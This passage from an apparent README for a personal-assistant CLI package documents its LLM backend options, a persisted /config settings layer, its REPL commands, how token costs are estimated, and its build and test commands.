ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \
  npm run cli --workspace=packages/aielia

ASSISTANT_LLM_BACKEND=openai ASSISTANT_API_KEY=sk-... \
  npm run cli --workspace=packages/aielia

ASSISTANT_LLM_BACKEND=openrouter ASSISTANT_API_KEY=sk-or-... \
  npm run cli --workspace=packages/aielia

These three go straight from this process to the provider's own API (AnthropicLLMClient/OpenAICompatibleLLMClient in @buildaharness/runtime) — no proxy deployment needed, but unlike authToken (a self-hosted proxy's own bearer token), ASSISTANT_API_KEY/apiKey is a real provider key. It's stored the same way as every other secret field here — plaintext in config.json, not an OS keychain — so treat that file accordingly. When ASSISTANT_MODEL//config set model isn't set, each backend falls back to the current-generation default id exported from @buildaharness/runtime's model-defaults.ts (openaigpt-5-mini, openrouteranthropic/claude-sonnet-5, anthropic and proxyclaude-sonnet-5).

Transcript, learned experience, reminders, and any in-flight turn's checkpoint persist as real files under ~/.buildaharness/personal-assistant/ (transcripts/, experience/, reminders/, checkpoints/), so conversation history and learning survive between runs — quit and restart the CLI and it remembers.

Configuration

Every env var documented above (ASSISTANT_ENABLE_WEB, BRAVE_SEARCH_API_KEY, ASSISTANT_ENABLE_SHELL, ASSISTANT_SHELL_TIMEOUT_MS, ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS, ASSISTANT_LLM_BACKEND, ASSISTANT_PROXY_URL, ASSISTANT_PROXY_TOKEN, ASSISTANT_API_KEY, ASSISTANT_MODEL, ASSISTANT_WORKSPACE_DIR) keeps working exactly as described — nothing here is a breaking change. What's new is a persisted settings layer beneath those env vars, editable from inside a running CLI session with /config, so a setting survives across runs without needing an env var set every time:

you> /config
  llmBackend     proxy
  proxyUrl       http://localhost:8787
  authToken      (not set)
  apiKey         (not set)
  model          (not set)
  enableWeb      false
  braveApiKey    (not set)
  enableShell    false
  shellTimeoutMs (not set)
  workspaceRoot  (not set)
  dangerouslySkipPermissions false

you> /config set enableWeb true
✗ enableWeb requires braveApiKey to be set (Brave Search is the only backend).

you> /config set braveApiKey sk-...
✓ braveApiKey updated (took effect immediately, no restart needed)

you> /config set enableWeb true
✓ enableWeb updated (took effect immediately, no restart needed)

you> /config reset enableWeb
✓ Reset enableWeb to default
  • /config lists every field's current (resolved) value. A field currently pinned by an env var shows (env-pinned: VAR_NAME) and cannot be changed with /config set — unset the env var first.
  • /config set <key> <value> validates the change (e.g. enableWeb true is rejected without a braveApiKey already set) before persisting it, then rebuilds the running assistant so the change applies to the very next turn — no restart needed.
  • /config reset [key] clears one persisted key (or, with no key, every persisted key), reverting to the env var if still set, or the built-in default otherwise.

Precedence: env var > persisted config > built-in default, evaluated independently per field. Settings persist as plain JSON at ~/.buildaharness/personal-assistant/config.json — like the rest of this package's persistence, it's a real file, not encrypted, so authToken and braveApiKey are stored in plaintext there. This is the same trust boundary the repo's root .env already has, not a new one.

REPL commands

Type /help inside a running CLI session for this list. All of them read or change local session/config state — none of them make an LLM call themselves.

| Command | What it does | |---|---| | /help | Show this list | | /clear (alias /new) | Start a fresh conversation — deletes this session's transcript, extracted facts, and active plan. Leaves learned reminders/experience untouched (those are durable, cross-conversation learning, not conversation-scoped state) | | /status | Show the resolved config (model, backend, workspace, enabled capabilities — same as the startup banner) plus this session's transcript length and whether a plan is active | | /export [file] | Save this session's transcript to a markdown file (default: assistant-transcript-<timestamp>.md in the current directory) | | /undo | Remove the last exchange from conversation history — a completed turn drops both the user message and the reply; a turn still awaiting approval drops just the pending message. Only affects what the model remembers: a real write_file/run_shell_command effect from that turn is not reversed | | /memory | Show facts learned about you, reminders created so far, and the learning-layer ExperienceStore's real content — every strategy weight, plus the 20 most recently learned decompositions/recovery sequences (newest first), not just counts | | /memory export [file] | Write the full, unbounded ExperienceStore contents (every strategy weight/decomposition/recovery sequence, not the 20-entry preview /memory prints) plus facts/reminders to a JSON file (default: assistant-memory-<timestamp>.json). Read-only: there's no matching import path, so exported data can't be hand-edited and loaded back in | | /search <query> | Ranked search over past messages, across every session in this install — a hit is the one message that matched, not the whole session transcript around it. Read-only: never an LLM call or network request. Scoring is tokenized/graduated, not exact-substring-only (see "Conversation history" above), and a query matching nothing returns an explicit "no results" line | | /model [name] | Show the active model, or switch it — a thin alias over /config set model <name> (see "Configuration" above); rejected the same way if model is pinned by ASSISTANT_MODEL | | /cost | Show token usage for the last turn and the running session total | | /doctor | Check proxy reachability (proxy backend) or the claude binary (claude-cli backend), plus workspace root and data dir health — no dedicated check yet for the anthropic/openai/openrouter backends, only the backend-agnostic checks run for those | | /why | Explain the harness path the last turn took (verification confidence + node sequence) | | /sources | List files/URLs the last turn actually consulted | | /plan | Show the active structured plan's task status | | /checkpoint [clear] | Inspect a stuck in-progress harness checkpoint (step, node, failed-resume count so far), or /checkpoint clear to discard it — see "Recovering a stuck checkpoint" above. Scoped to just the checkpoint: unlike /clear, transcript/facts/plan are untouched |

/cost and real vs. estimated dollar figures

Token counts are always real, on every backend. The dollar figure attached to them is not always the same kind of number:

  • claude-cli backend: costUsd comes straight from claude --output-format json's own total_cost_usd field — real Anthropic accounting. It may read $0 if the underlying claude session is authenticated against a Pro/Max subscription rather than API billing, in which case $0 does not mean "this turn was free" — /cost's output says so explicitly.
  • every other backend (proxy, anthropic, openai, openrouter): none of these compute a dollar cost themselves — only the raw token counts each provider's response already includes (@buildaharness/proxy is a thin pass-through, see packages/proxy/src/forward.ts; the three direct clients in @buildaharness/runtime are the same). /cost falls back to a small static, hand-maintained pricing table (model-pricing.ts, Sonnet/Opus/Haiku list prices) to show an approximate estimate, clearly labeled as such, not real billing data.

Commands

npm run build --workspace=packages/aielia
npm test --workspace=packages/aielia
npm run typecheck --workspace=packages/aielia